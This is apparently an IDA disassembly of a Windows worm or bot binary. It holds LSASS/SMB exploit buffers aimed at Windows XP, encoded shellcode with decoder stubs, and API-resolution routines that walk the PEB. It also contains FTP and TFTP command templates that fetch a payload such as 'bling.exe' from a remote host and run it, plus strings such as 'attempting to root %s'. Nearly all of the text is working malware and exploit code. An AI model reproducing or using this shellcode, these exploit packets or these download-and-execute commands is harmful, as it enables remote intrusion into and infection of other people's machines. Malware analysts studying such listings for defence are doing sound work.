		dd 4DC0800h, 600800h, 0A0000010h, 0Ch, 4, 2 dup(0)
		dd 0A0005400h, 200540Ch, 2600h,	100CB140h, 50005Ch, 500049h
		dd 5C0045h, 0
		dd 3000005h, 10h, 0CA0h, 1, 0C88h, 90000h, 3ECh, 0
		dd 3ECh, 0
off_4282AC	dd offset loc_401493+2	; DATA XREF: sub_403249+3DEo
		dd 3, 40707Ch, 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd offset loc_407079+3
		dd 1, 0
		dd 1, 0
		dd offset loc_407079+3
		dd 1, 0
		dd 1, 0
		dd offset loc_407079+3
		dd 1, 0
		dd 1, 0
		dd 138578h, 0E9A65BABh,	0
dword_428340	dd 0F8100000h, 424D53FFh, 2Fh, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_403249+306o
		dd 0FEFF0800h, 600800h,	0DE00FF0Eh, 4000DEh, 0FF000000h
		dd 8FFFFFFh, 10B800h, 4010B800h, 0
		dd 0EE10B900h, 1000005h, 10h, 10B8h, 1,	200Ch, 90000h
		dd 0DADh, 0
		dd 0DADh, 0
dword_4283AC	dd 0D80F0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_403249+331o
		dd 1180800h, 700800h, 84000010h, 0Fh, 4, 2 dup(0)
		dd 84005400h, 200540Fh,	2600h, 0F9540h,	50005Ch, 500049h
		dd 5C0045h, 0
		dd 2000005h, 10h, 0F84h, 1, 0F6Ch, 90000h, 0
dword_428420	dd 0			; DATA XREF: sub_403249+35Fo
		dd offset loc_40A899+1
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd offset loc_40A899+1
		dd 1, 0
		dd 1, 0
		dd offset loc_40A899+1
		dd 1, 0
		dd 1, 0
		dd offset loc_40A899+1
		dd 1, 0
		dd 1, 3	dup(0)
aWinxpProfessio	db 'WinXP Professional    [universal] lsass.exe ',0
		align 10h
dword_4284E0	dd 1004600h		; DATA XREF: sub_403249+140r
					; sub_403249+245r
		dd 1, 326E6957h, 7250206Bh, 7365666Fh, 6E6F6973h, 20206C61h
		dd 755B2020h, 6576696Eh, 6C617372h, 656E205Dh, 70617274h
		dd 6C6C642Eh, 2	dup(0)
		dd 7515123Ch, 2, 326E6957h, 6441206Bh, 636E6176h, 53206465h
		dd 65767265h, 535B2072h, 205D3450h, 20202020h, 656E2020h
		dd 70617274h, 6C6C642Eh, 2 dup(0)
		dd 751C123Ch, 0Fh dup(0)
dword_428598	dd 0A0D7325h, 0		; DATA XREF: sub_4030E8+102o
					; sub_405144+DFo ...
aEchoOpenSDOEch	db 'echo open %s %d > o&echo user 1 1 >> o &echo get %s >> o &echo qu'
					; DATA XREF: sub_4030E8+BEo
		db 'it >> o &ftp -n -s:o &del /F /Q o &%s',0Dh,0Ah,0
		align 4
aTftpISGetS	db 'tftp -i %s get %s',0Dh,0Ah,0 ; DATA XREF: sub_4030E8+97o
; ---------------------------------------------------------------------------


loc_428620:				; DATA XREF: sub_403249+177o
		jmp	short loc_428628
; ---------------------------------------------------------------------------
		jmp	short loc_42862A
; ---------------------------------------------------------------------------
		align 8


loc_428628:				; CODE XREF: ___:loc_428620j
					; DATA XREF: sub_403249+27o
		pop	esp
		pop	esp


loc_42862A:				; CODE XREF: ___:00428622j
		and	eax, 70695C73h
		arpl	[eax+eax], sp
; ---------------------------------------------------------------------------
		dw 0
dword_428634	dd 1CEC8166h		; DATA XREF: sub_403249+Dr
dword_428638	dd 0E4FF07h		; DATA XREF: sub_403249+16r
byte_42863C	db 90h			; DATA XREF: sub_403A90+B2o
		db 42h,	90h, 42h
		db 90h
		dd offset word_429042
		align 4
dword_428648	dd 10FF8h, 0		; DATA XREF: sub_403A90+6Ao
dword_428650	dd 10FF8h		; DATA XREF: sub_403A90+79o
dword_428654	dd 7FFDF020h, 0		; DATA XREF: sub_403A90+162o
dword_42865C	dd 424D53FFh, 72h, 0C8531800h, 3 dup(0)	; DATA XREF: sub_403EBA+7Bo
		dd 13370000h, 0
		dd 2006200h
aPcNetworkPro_0	db 'PC NETWORK PROGRAM 1.0',0
		db 2
		db  4Ch	; L
		db 41h,	4Eh, 4Dh
		db  41h	; A
		db 4Eh,	31h, 2Eh
		db  30h	; 0
		align 2
		dw 5702h
aIndowsForWor_0	db 'indows for Workgroups 3.1a',0
		db 2
		dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh
		dd 544E0200h, 204D4C20h, 32312E30h, 0
dword_4286E4	dd 424D53FFh, 73h, 0C8071800h, 3 dup(0)	; DATA XREF: sub_403EBA+34o
		dd 13370000h, 0
		dd 0FF0Ch, 0A110400h, 2	dup(0)
dword_428714	dd 0			; DATA XREF: sub_403EBA+44o
		dd 800000D4h, 0
unk_428720	db  81h	; 		; DATA XREF: sub_403F94+Ao
		db 2 dup(0), 44h
aCkfdenecfdeffc	db ' CKFDENECFDEFFCFGEFFCCACACACACACA',0
aCacacacacacaca	db ' CACACACACACACACACACACACACACACAAA',0
		dd 0
byte_42876C	db 41h			; DATA XREF: sub_404032+107r
aBcdefghijklmno	db 'BCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/',0
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4287B0	proc near		; DATA XREF: ___:0040430Fo
		push	ebx
		push	esi
		push	edi
		sub	sp, 80h
		mov	esi, esp
		call	sub_4288AC
		push	dword ptr [esi]
		push	63D61209h
		call	sub_4288C2
		mov	[esi+8], eax
		call	sub_428875
		push	dword ptr [esi+4]
		push	0CA2BD06Bh
		call	sub_4288C2
		mov	[esi+0Ch], eax
		call	sub_428827
		push	dword ptr [esi+4]
		push	4C0297FAh
		call	sub_4288C2
		xor	ebx, ebx
		push	410h
		push	ebx
		call	eax
		mov	ebx, eax
		push	esi
		mov	esi, [esi+10h]
		mov	edi, eax
		mov	ecx, 410h
		rep movsb
		pop	esi
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	ebx
		push	eax
		push	eax
		call	dword ptr [esi+0Ch]
		mov	eax, [esi+8]
		add	sp, 80h
		pop	edi
		pop	esi
		pop	ebx
		jmp	eax
sub_4287B0	endp


; =============== S U B	R O U T	I N E =======================================



sub_428827	proc near		; CODE XREF: sub_4287B0+33p

var_20		= dword	ptr -20h
var_14		= dword	ptr -14h

		pusha
		call	sub_428850
		mov	eax, [esp+20h+var_14]
		lea	ebx, [eax+7Ch]
		add	dword ptr [ebx+3Ch], 5
		add	dword ptr [ebx+28h], 1000h
		and	dword ptr [ebx+28h], 0FFFFF000h
		mov	eax, [esp+20h+var_20]
		add	esp, 14h
		push	eax
		xor	eax, eax
		retn
sub_428827	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_428850	proc near		; CODE XREF: sub_428827+1p
		xor	edx, edx
		push	dword ptr fs:[edx]
		mov	fs:[edx], esp
		xor	ebx, ebx
		mov	eax, 42904290h


loc_42885F:				; CODE XREF: sub_428850+1Aj
		xor	ecx, ecx
		mov	cl, 2
		mov	edi, ebx
		repe scasd
		jz	short loc_42886C
		inc	ebx
		jmp	short loc_42885F
; ---------------------------------------------------------------------------


loc_42886C:				; CODE XREF: sub_428850+17j
		mov	[esi+10h], edi
		pop	dword ptr fs:[edx]
		pop	eax
		popa
		retn
sub_428850	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_428875	proc near		; CODE XREF: sub_4287B0+1Ep
		pusha
		mov	edi, 7FFDF020h
		mov	ebx, [edi]
		mov	eax, [esi+8]
		mov	[edi], eax
		mov	edi, [edi-8]
		add	edi, 178h
		mov	ecx, edi


loc_42888D:				; CODE XREF: sub_428875+1Ej
		cmp	[ecx], ebx
		jz	short loc_428895
		mov	ecx, [ecx]
		jmp	short loc_42888D
; ---------------------------------------------------------------------------


loc_428895:				; CODE XREF: sub_428875+1Aj
		mov	edx, edi


loc_428897:				; CODE XREF: sub_428875+2Aj
		cmp	[edx+4], ebx
		jz	short loc_4288A1
		mov	edx, [edx+4]
		jmp	short loc_428897
; ---------------------------------------------------------------------------


loc_4288A1:				; CODE XREF: sub_428875+25j
		mov	[ecx], edx
		mov	[edx+4], ecx
		mov	byte ptr [ebx-3], 1
		popa
		retn
sub_428875	endp


; =============== S U B	R O U T	I N E =======================================



sub_4288AC	proc near		; CODE XREF: sub_4287B0+Ap
		mov	eax, ds:7FFDF00Ch
		mov	eax, [eax+1Ch]
		mov	ebx, [eax+8]
		mov	[esi], ebx
		mov	eax, [eax]
		mov	eax, [eax+8]
		mov	[esi+4], eax
		retn
sub_4288AC	endp


; =============== S U B	R O U T	I N E =======================================



sub_4288C2	proc near		; CODE XREF: sub_4287B0+16p
					; sub_4287B0+2Bp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		pusha
		mov	ebp, [esp+20h+arg_4]
		mov	eax, [ebp+3Ch]
		mov	edx, [ebp+eax+78h]
		add	edx, ebp
		mov	ecx, [edx+18h]
		mov	ebx, [edx+20h]
		add	ebx, ebp


loc_4288D8:				; CODE XREF: sub_4288C2+33j
		jecxz	short loc_428912
		dec	ecx
		mov	esi, [ebx+ecx*4]
		add	esi, ebp
		xor	edi, edi
		xor	eax, eax
		cld


loc_4288E5:				; CODE XREF: sub_4288C2+2Dj
		lodsb
		cmp	al, ah
		jz	short loc_4288F1
		ror	edi, 0Dh
		add	edi, eax
		jmp	short loc_4288E5
; ---------------------------------------------------------------------------


loc_4288F1:				; CODE XREF: sub_4288C2+26j
		cmp	edi, [esp+20h+arg_0]
		jnz	short loc_4288D8
		mov	ebx, [edx+24h]
		add	ebx, ebp
		mov	cx, [ebx+ecx*2]
		mov	ebx, [edx+1Ch]
		add	ebx, ebp
		mov	eax, [ebx+ecx*4]
		add	eax, ebp
		mov	[esp+20h+var_4], eax
		popa
		retn	8
; ---------------------------------------------------------------------------


loc_428912:				; CODE XREF: sub_4288C2:loc_4288D8j
					; sub_4288C2:loc_428912j
		jmp	short loc_428912
sub_4288C2	endp

; ---------------------------------------------------------------------------
		align 8

; =============== S U B	R O U T	I N E =======================================



sub_428918	proc near		; DATA XREF: ___:004042BFo

arg_0		= dword	ptr  4

		add	esp, 0FFFFF254h
		cld
		call	sub_42896A
		mov	eax, [ebp+3Ch]
		mov	edi, [ebp+eax+78h]
		add	edi, ebp
		mov	ecx, [edi+18h]
		mov	ebx, [edi+20h]
		add	ebx, ebp


loc_428935:				; CODE XREF: sub_428918+38j
		jecxz	short loc_428965
		dec	ecx
		mov	esi, [ebx+ecx*4]
		add	esi, ebp
		xor	eax, eax
		cdq


loc_428940:				; CODE XREF: sub_428918+32j
		lodsb
		test	al, al
		jz	short loc_42894C
		ror	edx, 0Dh
		add	edx, eax
		jmp	short loc_428940
; ---------------------------------------------------------------------------


loc_42894C:				; CODE XREF: sub_428918+2Bj
		cmp	edx, [esp+arg_0]
		jnz	short loc_428935
		mov	ebx, [edi+24h]
		add	ebx, ebp
		mov	cx, [ebx+ecx*2]
		mov	ebx, [edi+1Ch]
		add	ebx, ebp
		mov	ebx, [ebx+ecx*4]
		add	ebx, ebp


loc_428965:				; CODE XREF: sub_428918:loc_428935j
		mov	[esp+arg_0], ebx
		retn
sub_428918	endp


; =============== S U B	R O U T	I N E =======================================



sub_42896A	proc near		; CODE XREF: sub_428918+7p

; FUNCTION CHUNK AT 004289A2 SIZE 00000007 BYTES

		xor	eax, eax
		mov	eax, fs:[eax+30h]
		test	eax, eax
		js	short loc_428983
		mov	eax, [eax+0Ch]
		mov	esi, [eax+1Ch]
		lodsd
		mov	ebp, [eax+8]
		jmp	loc_42898E
; ---------------------------------------------------------------------------


loc_428983:				; CODE XREF: sub_42896A+8j
		mov	eax, [eax+34h]
		add	eax, 7Ch
		mov	ebp, [eax+3Ch]


loc_42898E:				; CODE XREF: sub_42896A+14j
		pop	edi
		xor	esi, esi
		pusha
		push	esi
		jmp	short loc_4289A2
sub_42896A	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_428995	proc near		; CODE XREF: sub_42896A:loc_4289A2p
		push	60E0CEEFh
		push	0E8AFE98h
		push	edi
		jmp	edi
sub_428995	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42896A


loc_4289A2:				; CODE XREF: sub_42896A+29j
		call	sub_428995


loc_4289A7:				; DATA XREF: sub_403A35+1Bo
					; sub_40EE72+822o
		add	[ebx], ah
; END OF FUNCTION CHUNK	FOR sub_42896A
; ---------------------------------------------------------------------------
		db 3 dup(0)
dword_4289AC	dd 60h			; DATA XREF: sub_403A90+320o
dword_4289B0	dd 62B0606h, 2050501h, 0A0h ; DATA XREF: sub_403A90+2F5o
dword_4289BC	dd 30h			; DATA XREF: sub_403A90+2CAo
dword_4289C0	dd 0A1h			; DATA XREF: sub_403A90+29Fo
dword_4289C4	dd 3			; DATA XREF: sub_403A90+246o
aCccc		db 'CCCC',0             ; DATA XREF: sub_403A90+153o
		align 10h


loc_4289D0:				; DATA XREF: sub_403A90+E8o
		jmp	short near ptr dword_4289D8
; ---------------------------------------------------------------------------
		align 8
dword_4289D8	dd 0			; CODE XREF: ___:loc_4289D0j
aCmdCEchoOpenSD	db 'cmd /c echo open %s %d >> ii &echo user 1 1 >> ii &echo get %s >>'
					; DATA XREF: ___:004042E4o
					; sub_404F9A+92o
		db ' ii &echo bye >> ii &ftp -n -v -s:ii &del ii &%s',0Dh,0Ah,0
dword_428A50	dd 0E983C933h, 0D9EED9AFh, 5BF42474h ; DATA XREF: ___:00404BFFo
; ---------------------------------------------------------------------------


loc_428A5C:				; CODE XREF: ___:00428A66j
		xor	dword ptr [ebx+13h], 6AD31EBBh
		sub	ebx, 0FFFFFFFCh
		loop	loc_428A5C
		inc	edi
		jz	short loc_428AA3
		and	eax, 952CE753h
		inc	esp
		jle	short loc_428ACB
		push	es
		lahf
		cmp	bl, [eax+2Fh]
		xchg	edx, [ebp+1FC36FAFh]
		cmp	al, 0E1h
; ---------------------------------------------------------------------------
		dd 355806F4h, 89381F9Bh, 5E58578Bh, 5B3D1F30h, 0EE7F877Bh
		dd 0ABD46A7Bh, 0A8D21371h, 3EE8EA50h
; ---------------------------------------------------------------------------
		lahf
		cmps	byte ptr ss:[esi], byte	ptr es:[edi]


loc_428AA3:				; CODE XREF: ___:00428A69j
		mov	[eax], esi
		inc	ecx
		imul	dword ptr [ebx+50h]
		js	short near ptr loc_428B02+1
		lock xchg ax, bp
; ---------------------------------------------------------------------------
		dw 768Ch
		dd 46D0F5BAh, 4EBF9730h, 5B107FA7h, 2A587A7Bh, 6693958Bh
		dd 0C7CF6E30h
; ---------------------------------------------------------------------------


loc_428AC8:				; CODE XREF: ___:00428AF5j
		xor	[esi-25h], bl


loc_428ACB:				; CODE XREF: ___:00428A71j
		xor	al, 0D3h
		nop
		popf
		db	64h
		push	edi
		dec	esi
		sub	al, 0BCh
		mov	al, ch
		mov	ch, 39h
		fnsave	byte ptr [esi-20h]
		pop	eax
		shr	dword ptr [ecx-60h], cl
		pop	eax
		in	al, 4Ah
		sub	al, 0BAh


loc_428AE4:				; CODE XREF: ___:00428B17j
		rcl	ebp, cl
		db	3Eh
		xchg	eax, esi
		or	byte ptr [esi+2Ch], 0BCh
		in	al, 97h
		db	36h
		or	al, 3Ah
		rep fld	tbyte ptr [eax-12h]
		jz	short loc_428AC8
		xchg	eax, ebp
		imul	esi, [esi+0Ah],	63h
		dec	esi
		mov	bl, 84h
		xchg	eax, ebp
		insd
		dec	ebp


loc_428B02:				; CODE XREF: ___:00428AA9j
		cmp	byte ptr [ecx],	0E8h
		dec	ebp
		nop
		cmp	eax, edi
		dec	ebp
		sub	al, 0BAh
		fnsave	byte ptr [esi-2Dh]
		paddusw	mm1, qword ptr [ebp+5Ah]
		mov	ebp, [esi]
		jbe	short loc_428B8E
		jo	short loc_428AE4
		fld	dword ptr [ebp+edx*4+3BC3746Dh]
		out	dx, al
		loope	near ptr loc_428B25+1
		add	bl, [edi]


loc_428B25:				; CODE XREF: ___:00428B21j
		mov	bl, 0FDh
		sub	esp, 0FFFFFFE1h
		add	eax, 3E1EE39h
		add	bl, [esi+57h]
		push	ebp
		and	ebp, esp
		loope	near ptr loc_428B3A+2
		cmp	ch, bh
		dec	edx


loc_428B3A:				; CODE XREF: ___:00428B35j
		xchg	dl, [ebp-72447295h]
		retn	0AAD8h
; ---------------------------------------------------------------------------
		db 3Dh
		dd 9586C844h, 0EB9786Bh, 7B076DDh, 3AB9FB32h, 0E31F37E2h
		dd 0E397745Ch, 99132F59h, 4791E011h, 0F9FF5C45h, 0C1EB6436h
		dd 18BBB510h, 95C5AD45h, 0BC2C5ACEh, 3B8149E0h,	6BB94FEAh
		dd 3B864FEAh, 0C7BBCE44h, 391D1B62h
		db 44h,	0C8h
; ---------------------------------------------------------------------------


loc_428B8E:				; CODE XREF: ___:00428B15j
		mov	ecx, 2C294495h
		mov	edx, 0E92F4930h
		jg	short loc_428C14
		sub	al, 0BCh
		jmp	near ptr 54448F82h
; ---------------------------------------------------------------------------
		db 0D0h, 33h, 0Ah
		dd 9505E1E8h, 6AD31E6Bh, 0
dword_428BB0	dd 0EFFFC481h, 44FFFFh,	428BFCh	; DATA XREF: ___:00404BE6o
dword_428BBC	dd 42Ah			; DATA XREF: ___:00404B99r
dword_428BC0	dd 3E8h			; DATA XREF: ___:00404C0Ar
dword_428BC4	dd 258h			; DATA XREF: ___:00404BDCr
byte_428BC8	db 0			; DATA XREF: ___:00404B45r
					; ___:00404C13r
		align 4
		dd offset aWindowsXpSp0Sp ; "Windows XP	(SP0+SP1)"
		dd 2C6h, 264h, 0
		dd 1
dword_428BE0	dd 20804h		; DATA XREF: sub_404853r ___:00404C31o ...
aWindowsXpSp0Sp	db 'Windows XP (SP0+SP1)',0 ; DATA XREF: ___:00428BCCo
		align 4
		dd 646E6957h, 2073776Fh, 2C34544Eh, 30303220h, 53282030h
		dd 532D3050h
; ---------------------------------------------------------------------------


loc_428C14:				; CODE XREF: ___:00428B98j
		push	eax
		xor	al, 29h


loc_428C17:				; DATA XREF: ___:00404B6Do
		add	bl, ch
		add	al, [eax]
; ---------------------------------------------------------------------------
		db 0
		align 10h
dword_428C20	dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 0 ;	DATA XREF: ___:00404A9Do
dword_428C34	dd 4B324FC8h, 1D31670h,	475A7812h, 88E16EBFh, 0	; DATA XREF: ___:00404A41o
aSPipeBrowser	db '\\%s\pipe\browser',0 ; DATA XREF: ___:004049D0o
		align 4
a_:					; DATA XREF: sub_406387+252o
		unicode	0, <.>,0
dword_428C60	dd 200F1001h, 0Ah, 1001802h, 0 ; DATA XREF: ___:004050E2o
		dd 14002400h, 0D9D2C9B7h, 34EF333Eh, 431F25h, 2F5C0202h
		dd 3Fh dup(61616161h), 62616161h, 40h dup(62626262h), 22220101h
		dd 3Fh dup(22222222h), 1222222h, 64646401h, 2Dh	dup(64646464h)
		db 2 dup(64h)
word_429042	dw 6464h		; DATA XREF: ___:00428641o
		dd 11h dup(64646464h), 1016464h, 40h dup(65656565h), 66010165h
		dd 40h dup(66666666h), 67670101h, 3Fh dup(67676767h), 1676767h
		dd 68686801h, 3Fh dup(68686868h), 1016868h, 40h	dup(69696969h)
		dd 6A010169h, 40h dup(6A6A6A6Ah), 6B6B0101h, 3Fh dup(6B6B6B6Bh)
		dd 16B6B6Bh, 6C6C6C01h,	8 dup(6C6C6C6Ch), 41416C6Ch, 100D06EBh
		dd 6D6D501Eh, 0E983C933h, 0D9EED9B0h, 5BF42474h, 0C8137381h
		dd 83877FD9h, 0F4E2FCEBh, 0CA94B334h, 78802020h, 0EBF4B937h
		dd 0C2F4FDECh, 820352F4h, 0C90D8B0h, 0D8F4C187h, 0CE94D8E8h
		dd 86F4ED43h, 1EBFE826h, 0F3BF5D64h, 8AB518CFh,	73941BC9h
		dd 0AF5B8DF3h, 0D8F43CBDh, 0E194D8ECh, 0C34D543h, 6C7EC597h
		dd 0EF4F5CBh, 0E663FDA4h, 0E3A4E80Bh, 0C4F9A43h, 0F7F4D588h
		dd 0C7F474D4h, 91787C0h, 0D793D786h, 0D4190F37h, 0B54CB1AEh
		dd 0B50CAEA0h, 57808D97h, 7B9212A0h, 518089F3h,	0E19A5097h
		dd 85773449h, 787DB39Dh, 8EA6B118h, 7828743Dh, 0D42C8A1Eh
		dd 0D43C8A9Bh, 57808A8Bh, 0EC5EB1AEh, 66F68AAEh, 9DDBB15Dh
		dd 78281EB8h, 0D66FB31Eh, 0EFAF269Dh, 6E51746Ch, 0D4A9269Fh
		dd 0EFAF269Dh, 0CEF9902Dh, 0D7A9269Fh, 782A8D9Ch, 60174A18h
		dd 0D0061FB1h, 782A0F37h, 0E315BF18h, 0EA1CB1AEh, 0D7153C41h
		dd 0EB3F091h, 0E3BB32Fh, 74BFE82Ah, 0AA3D2762h,	14539B36h
		dd 2C47A345h, 0F5177263h, 78696A36h, 51809DBDh,	0D62D8E93h
		dd 86158899h, 0D62A8899h, 2A170937h, 0D4B1DC11h, 78150F37h
		dd 5780EE37h, 4838E43h,	5180BD0Ch, 0EFAF269Ah, 0D87B5338h
		dd 78A9269Bh, 877FD918h
aMmmmmmmmmmmmmm	db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm',0
		align 4


loc_429E74:				; DATA XREF: ___:00405319o
		add	al, 54h
		dec	eax
		inc	ebx
		push	esp
		dec	eax
		inc	ebx
		push	esp
		dec	eax
		inc	ebx
		push	esp
		dec	eax
		inc	ebx
		push	esp
		dec	eax
		inc	ebx
		push	esp
		dec	eax
		inc	ebx
		push	esp
		dec	eax
		inc	ebx
		push	esp
		dec	eax
		inc	ebx
		push	esp
		dec	eax
		inc	ebx
		push	esp
		dec	eax


loc_429E92:				; CODE XREF: ___:00429EE2j
		inc	ebx
		push	esp
		dec	eax
		inc	ebx
		push	esp
		dec	eax
		inc	ebx
		push	esp
		dec	eax
		inc	ebx
		push	esp
		dec	eax
		inc	ebx
		push	esp
		dec	eax
		inc	ebx
		push	esp
		dec	eax
		inc	ebx
		push	esp
		dec	eax
		inc	ebx
		push	esp
		dec	eax
		inc	ebx
		push	esp
		dec	eax
		inc	ebx
		push	esp
		dec	eax
		inc	ebx
		push	esp
		dec	eax
		inc	ebx
		push	esp
		dec	eax
		inc	ebx
		push	esp
		dec	eax
		inc	ebx
		push	esp
		dec	eax
		inc	ebx
		push	esp
		dec	eax
		inc	ebx
		push	esp
		dec	eax
		inc	ebx
		push	esp
		dec	eax
		inc	ebx
		push	esp
		dec	eax
		inc	ebx
		push	esp
		dec	eax
		inc	ebx
		push	esp
		dec	eax
		inc	ebx
		push	esp
		dec	eax
		inc	ebx
		push	esp
		dec	eax
		inc	ebx
		fmul	st(1), st
		mov	al, 42h
		jmp	short loc_429EE9
; ---------------------------------------------------------------------------
		dec	edx
		inc	ebx
		push	esp
		dec	eax
		inc	ebx
		and	[ecx], eax
		jo	short loc_429E92
		inc	edx
		add	[eax-52h], esi
		inc	edx


loc_429EE9:				; CODE XREF: ___:00429ED9j
		mov	edi, esp
		add	edi, 2Ch
		sub	sp, 204h
		xor	ecx, ecx
		mov	dl, 35h
		add	cx, 138h


loc_429EFC:				; CODE XREF: ___:00429F03j
		mov	bl, [edi]
		xor	bl, dl
		mov	[edi], bl
		inc	edi
		loop	loc_429EFC
		ficom	word ptr [esi]
		dec	edi
		pop	esp
		aaa
		xor	[ecx+6Ch], bl
		int	28h		; DOS 2+ internal - KEYBOARD BUSY LOOP
		test	eax, 79E4B9EBh
		inc	ebp
		loope	loc_429F4D
		lds	edx, [edx]
		adc	eax, 623D0515h
		db	66h
		pop	es
		push	6
		pop	es
		assume es:nothing
		sbb	esi, [ecx+79h]
		jns	short near ptr loc_429F59+3
		fidiv	word ptr [eax]
		fxch4	st(4)
		retf	0CACAh
; ---------------------------------------------------------------------------
		db 68h
		dd 5F1FD8B6h, 0BE516C05h, 3975BE34h, 982945BEh,	0B83D4DBEh
		dd 2EBE096Ah, 6EBECE34h
; ---------------------------------------------------------------------------
		dec	ebp


loc_429F4D:				; CODE XREF: ___:00429F15j
		xor	al, 0CEh
		mov	esi, 0CC34297Eh
		mov	esi, 0CF341166h


loc_429F59:				; CODE XREF: ___:00429F26j
		db	64h, 67h
		mov	si, 156Eh
		xor	al, 0CEh
		add	al, 0FCh
		jz	short near ptr loc_429F67+2
		cmc
		lodsb


loc_429F67:				; CODE XREF: ___:00429F63j
		mov	esi, 0CB34BE01h
		cdq
		add	al, 0F7h
		in	al, 0D7h
		mov	cl, 0F5h
		inc	eax
		retn	833Ah
; ---------------------------------------------------------------------------
		db 70h
		dd 7071B830h, 250C5331h, 453D440h, 6B6D6F25h, 1E676563h
		dd 3A74257Bh, 0BE7F3982h, 0CD34BD31h, 3078833Ah, 0EDB871BCh
		dd 403078CBh, 3178CB8Bh, 78CB1441h, 2D68B817h, 0BCE5CA66h
		dd 6D315FF2h, 0B53070BDh, 0B83F4270h, 5EB54168h, 4DDC2113h
		dd 0BCCACACAh, 66EE04FBh, 63666666h, 0E5CA6373h, 536D60A2h
		dd 255F05BCh, 60CA6260h, 62637BE1h, 66F960CAh, 60CA6260h
		dd 70B8A2E5h, 60CA65BDh, 0CA6060D1h, 71B8DD60h,	66A13930h
		dd 4D501B5Dh, 56695D50h, 4A15158h, 0F970B8E7h, 626262A1h
		dd 0F3CB6666h, 0A167C734h, 654D70B8h, 65BD70B8h, 66663D84h
		dd 0FBCB255Fh, 66666667h, 0D960CA60h, 60CACA5Fh, 0D5h
word_42A040	dw 7A69h		; DATA XREF: sub_405144+30r
		align 4
aEchoOpenSDOE_0	db 'echo open %s %d > o&echo user 1 1 >> o &echo get bling.exe >> o &'
					; DATA XREF: sub_405144+97o
		db 'echo quit >> o &ftp -n -s:o &bling.exe',0Dh,0Ah,0
		align 10h
unk_42A0B0	db    2			; DATA XREF: ___:00405367o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 25h,	73h, 2Eh
		db  65h	; e
		db 1Fh,	78h, 1Fh
		db  70h	; p
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aAttemptingToRo	db 'attempting to root %s',0
		align 10h
a221GoodbyeHapp	db '221 Goodbye happy r00ting.',0Ah,0 ; DATA XREF: sub_4053D5+5D0o
aQuit		db 'QUIT',0             ; DATA XREF: sub_4053D5+5BCo
					; sub_40EE72+537o
		align 4
a425CanTOpenDat	db '425 Can',27h,'t open data connection.',0Ah,0
					; DATA XREF: sub_4053D5+5AFo
		align 4
unk_42A128	db    3			; DATA XREF: sub_4053D5+564o
